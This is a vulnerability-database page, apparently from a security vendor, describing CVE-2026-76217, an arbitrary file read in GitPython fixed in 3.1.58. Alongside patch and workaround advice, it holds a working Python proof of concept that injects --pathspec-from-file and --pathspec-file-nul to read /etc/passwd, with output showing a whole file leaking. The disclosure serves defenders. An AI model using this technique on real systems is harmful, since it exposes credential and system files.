Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI
Not in CISA KEV

CVE-2026-76217 — gitpython

Fix: gitpython-developers/GitPython#2204

CVE-2026-76217 is a CWE-73 vulnerability in gitpython. A fix is available for gitpython — see the affected versions and patch details below.

GitPython before 3.1.58 Arbitrary File Read via pathspec-from-file

Also known asGHSA-hh9p-6wh2-4mfcPYSEC-2026-3841
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 2, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-76217.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs33th percentile — riskier than 33% of all scored CVEsHighest risk
0.00%0.30%0.61%0.91%0.4%0.4%Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐍gitpython

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

IndexFile.remove() and Head.checkout() forward **kwargs into git rm and git checkout with no guard. Passing --pathspec-from-file=<file> together with --pathspec-file-nul makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec error quotes it verbatim. GitPython surfaces that through GitCommandError.stderr, so the entire contents of a caller-chosen file are returned to the caller in band.

This is the same primitive as Instance 2 of GHSA-3f7w-8rr8-f37f - TagReference.create() with -F, arbitrary file read returned in band - at two sites that advisory assessed and cleared.

Prior art, and why I am filing rather than commenting

GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment "--pathspec-from-file only reads a pathspec; no write or disclosure primitive found":

Call sitegit commandthat advisory's assessment
IndexFile.remove()rm--pathspec-from-file only reads a pathspec; no write or disclosure primitive found
IndexFile.move()mvsame
HEAD.reset()resetsame
HEAD.checkout()checkoutsame

That assessment is very nearly right, and I think that is why it held: with --pathspec-from-file alone, Git splits on newlines and the error quotes only the first line, which reads as an uninteresting partial. Adding --pathspec-file-nul - a sibling flag of the same option, and the documented way to handle paths containing newlines - makes the whole file one pathspec.

Root cause

git/index/base.py:991-1043:

def remove(self, items, working_tree=False, **kwargs):
    ...
    removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines()   # line 1043

git/refs/head.py:237-268:

def checkout(self, force: bool = False, **kwargs: Any):
    ...
    self.repo.git.checkout(self, **kwargs)                                 # line 268

Neither has an allow_unsafe_options parameter or a check_unsafe_options() call.

Proof of concept

from git import Repo
from git.exc import GitCommandError

repo = Repo("/path/to/repo")
kw = dict(pathspec_from_file="/etc/passwd", pathspec_file_nul=True)

try:
    repo.index.remove([], **kw)          # or: repo.heads[0].checkout(**kw)
except GitCommandError as e:
    print(e.stderr)                      # <- entire file contents

Observed on published 3.1.57, against a canary file holding three marked lines:

[PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band
       stderr: 'fatal: pathspec 'LINE1-CANARY-4242
       LINE2-SECRET-7777
       LINE3-TAIL-9999
       ' did not match any files'
[PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band
       stderr: 'error: pathspec 'LINE1-CANARY-4242
       LINE2-SECRET-7777
       LINE3-TAIL-9999
       ' did not match any file(s) known to git'
[PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses
[PASS] PRECISION: the GUARDED checkout-index leaks 0/3

The two precision controls are there so the result is about these sinks and not about the canary being visible everywhere.

Scope correction to the table above

Of the four sites cleared with that sentence, two disclose and two do not:

Call sitedisclosed?
IndexFile.remove() → git rmyes, full file
Head.checkout() → git checkoutyes, full file
HEAD.reset() → git resetno - git reset does not error on unmatched pathspecs
IndexFile.move() → git mvno

The two negatives are mentioned because "the dismissal was wrong" would overstate it: the dismissal was wrong for half of what it covered.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIgitpythonall versions3.1.58pip install --upgrade 'gitpython==3.1.58'

Affected Products

1 product · 1 configurations
Application
gitpythongitpython_project
< 3.1.58
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gitpython, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update gitpython to 3.1.58 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-76217 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate

GitPython before 3.1.58 does not validate options passed to the underlying `git rm` and `git checkout` commands in IndexFile.remove() and Head.checkout(). An attacker able to control the path/pathspec argument passed to these methods can inject the `--pathspec-from-file` and `--pathspec-file-nul` options and read…

Workaround published by Red Hat
Applications using GitPython should not pass untrusted or attacker-controlled input directly as the path/pathspec argument to IndexFile.remove() or Head.checkout(), and should reject any such value beginning with a dash ("-") so that it cannot be interpreted as a git option. Updating GitPython to version 3.1.58 or later, which validates these options, resolves the issue.
Source: Red Hat security advisory for CVE-2026-76217 (CC BY 4.0)

Frequently Asked Questions

## Summary `IndexFile.remove()` and `Head.checkout()` forward `**kwargs` into `git rm` and `git checkout` with no guard. Passing `--pathspec-from-file=<file>` **together with `--pathspec-file-nul`** makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec error quotes it verbatim. GitPython surfaces that through `GitCommandError.stderr`, so the entire contents of a caller-chosen file are returned to the caller in band. This is the same primitive as Instance 2 of [GHSA-3f7w-8rr8-f37f](https://github.com/advisories/GHSA-3f7w-8rr8-f37f) - `TagReference.creat
O3 Security · Impact-Aware SCA

Is CVE-2026-76217 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2026-76217: gitpython — Fixed in 3.1.58 | O3 Security